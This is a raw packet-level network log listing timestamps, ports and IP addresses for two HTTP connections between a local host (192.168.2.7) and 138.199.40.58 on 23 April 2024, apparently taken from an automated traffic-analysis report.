Apr 23, 2024 08:39:58.948230028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948282003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948298931 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948333979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948350906 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948367119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948385954 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948703051 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948720932 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948745966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948767900 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948816061 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948829889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948838949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948874950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948879004 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948895931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.948955059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.948975086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949073076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949091911 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949091911 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949116945 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949181080 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949201107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949210882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949233055 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949235916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949275017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949285030 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949287891 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949320078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949457884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949476957 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949668884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949690104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949754953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949763060 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949793100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949846983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949855089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949884892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949908018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.949943066 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.949944019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950145006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950231075 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950246096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950252056 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950258017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950263977 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950268984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950280905 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950288057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950370073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950388908 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950413942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950433969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950439930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950459003 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950479031 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950484037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950498104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950643063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950660944 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950685024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950706005 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950712919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950730085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950735092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950753927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950790882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950809956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.950958967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.950978994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951004028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951016903 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951023102 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951035976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951070070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951090097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951092958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951113939 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951143026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951145887 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951209068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951267004 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951278925 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951287985 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951324940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951324940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951344013 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951358080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951369047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951381922 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951387882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951422930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951422930 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951427937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951441050 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951507092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951880932 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.951953888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.951993942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952006102 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952018023 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952054024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952054024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952212095 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952224016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952234983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952253103 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952305079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952322960 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952527046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952747107 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952908039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952919960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952928066 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952939987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952951908 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.952975035 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.952995062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953006983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953015089 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953038931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953063011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953283072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953304052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953315973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953336000 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953339100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953357935 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953419924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953438997 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953468084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.953814983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953937054 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.953943968 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954046965 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954066038 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954111099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954123020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954124928 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954143047 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954262018 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954288960 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954319954 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954574108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954644918 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954657078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954674959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954675913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954695940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954701900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954720974 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954823017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954823971 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954837084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954926014 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954946041 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.954962015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954974890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.954983950 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955002069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955018044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955018044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955061913 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955091953 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955163956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955301046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955394983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955445051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955518007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955569029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955681086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955743074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955763102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955826998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955840111 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.955847979 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955878019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955878973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.955948114 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956079006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956091881 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956104994 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956115961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956134081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956156969 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956192017 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956216097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956235886 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956255913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956312895 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956340075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956346989 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956365108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956382990 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956394911 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956402063 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956407070 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956427097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956427097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956460953 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956480980 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956676006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956830025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956870079 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956892967 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956924915 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956938982 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.956947088 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.956960917 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957036972 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957072020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957118034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957190037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957199097 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957278967 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957345963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957360029 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957487106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957509995 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957561970 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957585096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957705021 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.957755089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957959890 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957973003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957984924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.957998037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958003044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958003044 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958102942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958112955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958126068 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958159924 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958195925 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958244085 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958245039 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958322048 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958379984 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958393097 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958399057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958444118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958444118 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958465099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958650112 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958705902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958750963 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958764076 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958785057 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958842993 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958853006 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958854914 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958868027 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958872080 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958878994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958889961 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958889961 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958904028 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958906889 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958926916 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958946943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958946943 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.958972931 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.958998919 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959017038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959038019 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959146976 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959315062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959327936 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959372997 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959393024 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959453106 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959465981 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959472895 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959477901 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959496975 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959498882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959517956 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959568024 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.959592104 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959666014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.959943056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960074902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960092068 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960144043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960169077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960192919 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960223913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960243940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960355043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960398912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960505009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960530996 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960552931 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960572958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960576057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960596085 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960678101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960697889 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960720062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960736990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960755110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960774899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960805893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960824013 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960871935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960886002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960895061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960927963 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960939884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960948944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960952044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960963964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.960972071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.960997105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961011887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961011887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961030960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961050034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961086035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961118937 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961160898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961182117 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961184025 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961205006 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961272955 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.961293936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961363077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.961394072 CEST	80	49705	138.199.40.58	192.168.2.7
